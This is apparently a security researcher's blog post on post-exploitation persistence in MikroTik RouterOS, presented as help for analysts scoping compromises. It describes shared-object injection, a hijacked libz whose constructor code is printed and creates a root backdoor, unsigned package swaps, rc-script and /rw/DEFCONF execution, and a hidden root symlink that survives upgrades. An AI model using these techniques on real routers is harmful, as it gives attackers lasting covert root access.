Shared Objects, RC Scripts, and a Symlink

At DEF CON 27, I presented Help Me, Vulnerabilities! You’re My Only Hope where I discussed the last few years of MikroTik RouterOS exploitation and I released Cleaner Wrasse, a tool to help enable and maintain root shell access in RouterOS 3.x through the current release.

The DEF CON talk also covered past and present post exploitation techniques in RouterOS. I roughly broke the discussion into two parts:

1. Places attackers can execute from.
2. How to achieve reboot or upgrade persistence.

That is what this blog is about. But why talk about post exploitation? The fact of the matter is these routers have seen a lot of exploitation. But with little to no public research on post exploitation in RouterOS, it isn’t obvious where an analyst might look to determine the scope of the exploitation. Hopefully, this blog and associated tooling can begin to help.

Before I start talking about post exploitation, you need to have a better idea of RouterOS’s general design. For our purposes, one of the most important things to understand is everything on the system is a package. Pictured to the left, you can see all the packages I have installed on my hAP.

Even the standard Linux-y directories like /bin/, /lib/, /etc/ all come from a package. The system package to be specific.

Packages use the NPK file format. Kirils Solovjovs made this excellent graphic that describes the file format. Each NPK contains a squashfs section. On start up, the squashfs file system is extracted and mounted (or symlinked depending on the installation method) in the /pckg/ directory (this isn’t exactly true for the system package but let’s just ignore that).

Squashfs is read only. You see I can’t touch /pckg/dhcp/lol. That might lead you to believe that the entire system is read only, but that isn’t the case. For example, /pckg/ is actually part of a read-write tmpfs space in /ram/.

Further, the system’s /flash/ directory points to persistent read-write storage. A lot of configuration information is stored there. Also the only persistent storage users have access to, /flash/rw/disk/, is found in this space.

While all of the system’s executables appear to reside within read-only space, there does appear to be some read-write space, both tmpfs and persistent, that an attacker can manipulate. The trick is figuring out how to use that space to achieve and maintain execution.

The other thing that’s important to know is that users don’t actually have access to a real shell on RouterOS. Above, I’ve included a screenshot where I appear to have a root shell. However, that’s only because I’ve exploited the router and enabled the developer backdoor. This shouldn’t actually be possible, but thanks to the magic of vulnerabilities it is.

If you aren’t familiar with the developer backdoor in RouterOS, here is a very quick rundown: Since RouterOS 3.x the system was designed to give you a root busybox shell over telnet or ssh if a special file exists in a specific location on the system (that location has changed over the years). Assuming the special file exists, you access the busybox shell by logging in as the devel user with the admin user’s password.

You can see in the following video, I use HackerFantastic’s set tracefile vulnerability to create the special file /pckg/option on RouterOS 6.41.4. The existence of that file enables the backdoor. After I log in as devel, delete the file, and log out, I can no longer access the root shell.

Okay, you know enough to be dangerous. Onwards to post exploitation!

The snmp binary (/nova/bin/snmp) is part of the system package. However, there are various other packages that want to add their own functionality to snmp. For example, the dhcp package. In the image below, you can see that /pckg/dhcp has an /snmp/ subdirectory.

When the snmp binary starts up, it will loop over all of the directories in /pckg/ and look for the /nova/lib/snmp/ subdirectory. Any shared object in that subdirectory gets passed to dlopen() and then the shared object’s autorun() is invoked.

Since the dhcp package is mounted as read-only, an attacker can’t modify the loaded shared object. However, as we’ve established, /pckg/ is read-write so an attacker can introduce their own directory structure (e.g. /pckg/snmp_xploit/nova/lib/snmp/). Any shared object stored there would be loaded by snmp.

It’s pretty neat that an attacker can hide within a process that lives in read-only space! But it’s even more useful when combined with a vulnerability that can write files to disk like CVE-2019–3943 or CVE-2018–14847.

I wrote a proof of concept to illustrate the use case with CVE-2019–3943. Essentially, an authenticated attacker can create the /pckg/ directory structure using the vulnerability’s directory traversal.

Once the directories are created, the attacker needs to drop a shared object on disk. Luckily, CVE-2019–3943 can do that as well. Obviously, a real attacker can execute anything from their shared object, but for the proof of concept I create the 6.41+ backdoor file directly from a constructor function.

The PoC will even stop and restart the SNMP process to ensure the shared object gets loaded without a reboot of the system.

Since /pckg/ is in tmpfs space, the directory structure the script creates would be removed on a reboot even if the PoC didn’t delete it.

Similar to the above, I found that I could get system binaries to load libraries out of /flash/rw/lib. This is because /rw/lib/ is the first entry in the LD_LIBRARY_PATH environment variable.

The great thing about loading libraries from /rw/lib/ is that, because it’s persistent file space, the shared object will persist across reboots. The only challenge is figuring out which library we want to hijack. The obvious choice is libc.so since it’s guaranteed to be loaded… everywhere. But RouterOS uses uClibc and, quite frankly, I didn’t want to deal with that.

Thankfully, I came upon this.

/nova/bin/fileman loads libz. fileman is the system binary that handles reading and writing from the user’s /rw/disk directory via Winbox or Webfig. It gets executed when the user navigates to the “Files” interface, but it shuts down after the user has navigated away and it remains idle for a minute.

To compile the malicious library, I simply downloaded libz 1.2.11 and added this constructor to deflate.c:

void __attribute__((constructor)) lol(void)
{
    int fork_result = fork();
    if (fork_result == 0)
    {
        execl("/bin/bash", "bash", "-c",
           "mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
           (char *) 0);        exit(0);
    }
}

You can see, once again, I’ve just chosen to create the backdoor file. For this proof of concept, I cross compiled the new libz.so to MIPS big endian so that I could test it on my hAP router.

Once again, the proof of concept uses CVE-2019–3943 to create the “lib” directory and drops the library on disk.

However, unlike the SNMP attack, /rw/lib/libz.so will survive reboots and it actually gets loaded quite early in the startup sequence. Which means after every reboot, the backdoor file will get created during start up.

One of the more interesting things stored in /flash/ is the files in /flash/var/pdb/.

It turns out that this is where RouterOS stores all of the installed NPK files. Oddly, as root, they are all writeable. I can tell you from experience, you don’t want to overwrite the system package.

When I learned I could break the entire system by messing around with the system package, I got kind of curious. What if I was a little more careful? What if I just overwrote the package’s squashfs filesystem? Would that get mounted?

I wrote a tool called modify_npk to test this out. The tool is pretty simple, it takes in a valid MikroTik NPK (e.g. dude-6.44.5.npk) and a user-created squashfs. The tool removes the valid MikroTik squashfs section and inserts the user’s malicious squashfs. In theory, modify_npk generates a perfectly well formed NPK… just with a new internal squashfs.

The problem is that MikroTik enforces signature verification when installing NPK packages. If you try to install a modify_npk package then RouterOS will flag it as broken and reject it. See wrasse.npk in the following log file:

Which is obviously good! We can’t have weirdos installing whatever they want on these systems. But what if we install it ourselves from our root shell?

In theory, RouterOS should always run a signature check on the stored NPK before mounting their filesystems. Since they are all read-write it only makes sense, right?

In the above image, you can see wrasse was successfully installed on the system, bad signature and all! Obviously, that should mean the squashfs I created was mounted.

Of course, just having the malicious squashfs mounted isn’t the end, because the filesystem I created actually contains an rc script that will create the backdoor file at startup.

This is quite useful as it will persist through reboots. Although, users can catch this particular attack by using the “Check Installation” feature.

MikroTik silently patched this bug in 6.42.1. I say “silently” because I don’t see any specific release note or communication to the community that indicates that they decided to enforce signature verification on every reboot.

RouterOS uses rc scripts to start processes after boot and to clean up some processes during shutdown. The OS has a traditional /etc/rc.d/run.d/ file structure, that we will talk about, but it also has (or had) other places that rc scripts are executed from as well.

As mentioned, RouterOS has a traditional /etc/ directory, but since the directory is read-only attackers can’t modify or introduce scripts. However, RouterOS does have a second /etc/ off of the persistent read-write /flash/ space.

At first glance, it doesn’t appear all that useful as far as rc scripts go. However, as BigNerd95 pointed out in his Chimay-Red repository, you can create an /rc.d/run.d/ subdirectory off of /flash/etc/ and any rc script stored within will be treated as a normal rc script on startup and shutdown.

In the example below, you can see I create /flash/etc/rc.d/run.d/ and echo the script S89lol into place. After a reboot, the script is executed and the developer backdoor is created.

This behavior was removed after 6.40.9. Up until then, however, this was a very simple and convenient persistence mechanism.

RouterOS has a bunch of scripts sitting in /etc/rc.d/run.d/, but there are two I want to specifically talk about. The first one is S08config and that is because through 6.40.5 it contained the following logic:

elif [ -f /rw/RESET ]; then
    /bin/bash /rw/RESET
    rm -rf /rw/RESET

Meaning that if /rw/RESET existed then S08config would execute it as a bash script at start up. This is an obvious persistence mechanism. So obvious that it was actually observed in the wild:

Somehow this forum user obtained MikroTik’s debug package and was able to examine some files post exploitation. Here we can see the attacker using /rw/RESET to execute their /rw/info binary. Perhaps seeing this used in the wild is why MikroTik altered S08config’s behavior.

Similar to /rw/RESET, the contents of /rw/DEFCONF can be executed thanks to an eval statement in S12defconf.

defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
    /nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";
 cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &

This was first introduced in 6.40.1, but unlike /rw/RESET this hasn’t been fixed as of 6.45.3. In fact, this is the method that Cleaner Wrasse will use to establish reboot persistence on the router. I wrote a proof of concept using CVE-2019–3943 to show how a remote authenticated attacker can abuse /rw/DEFCONF to achieve the backdoor and establish persistence.

As we saw in the signature verification portion of this writeup, each package off of /pckg/ can have an /etc/rc.d/run.d/ directory containing rc scripts. /pckg/ is part of a tmpfs, so while anything an attacker creates in /pckg/ won’t persist across reboots, new rc scripts will get executed at shutdown.

How is that useful? One thing I didn’t mention about /rw/DEFCONF is that its existence on the system can cause issues with logging in. Cleaner Wrasse avoids this issue by staging a file in /rw/.lol and then creating an rc script in /pckg/ that creates the /rw/DEFCONF file on shutdown. In that way, Cleaner Wrasse avoids the login problem but ensures /rw/DEFCONF exists when the system starts up again.

Many of the proofs of concepts I mention in this blog use CVE-2019–3943, but it was patched for good in May 2019 (6.43.15 Long-term). Unless you use Kirilis Solojov’s USB jailbreak, there are no more public methods to enable the backdoor file and root the device. So how am I able to do this?

The answer is simple. When I was still able to exploit the router using CVE-2019–3943, I created a hidden symlink to root in the user’s /rw/disk directory.

After an upgrade, you need only FTP into the router and traverse the symlink to root. From there you can achieve execution in one of the many ways that you want. In the following image, I drop libz.so into /rw/lib/ to enable the backdoor.

RouterOS doesn’t offer a way for a normal user to create a symlink, so you can only do it via exploitation. But RouterOS doesn’t try to remove the symlink either. As long as that’s the case, we can continue using the survival symlink to reestablish the root shell after upgrade.

Neither Winbox or Webfig displays hidden files. It’s probably worthwhile to occasionally check your user directory via FTP to ensure nothing is hidden there.

I’ve shared a bunch of ways to achieve execution and generally hang around the system. So I was a little confused when I stumbled across this:

The above image is from the first public report of CVE-2018–14847. Before it had a CVE. Before it was even known by MikroTik. A user popped onto the MikroTik forums and asked about a potential Winbox vulnerability after finding an odd login in their logs and suspicious files on the device. Picture above is from a bash script they found called save.sh.

I’ve shown in this blog post, over and over, that an attacker needn’t store anything in the only directory the user can access. Yet, that was exactly what this attacker did. /flash/rw/pckg/ is a symlink to the user’s /flash/rw/disk/ directory. How is it that someone that had a zero day that would later be used against hundreds of thousands, if not millions, of routers didn’t know this simple fact?

Thankfully they did make this error though. Not only is CVE-2018–14847 pretty nasty but the resulting fallout has forced MikroTik to do some hardening.

Of course! Almost everything I’ve talked about here has been fixed, can be fixed with minor changes, or could be fixed just by moving away from executing everything as root. Defense in depth is important, but sometimes it just isn’t a high priority. I don’t expect to see any significant changes in the future, but hopefully MikroTik can work some minor defense in depth improvements into their development plans.

…or maybe we’ll just wait for RouterOS 7 to be released ;)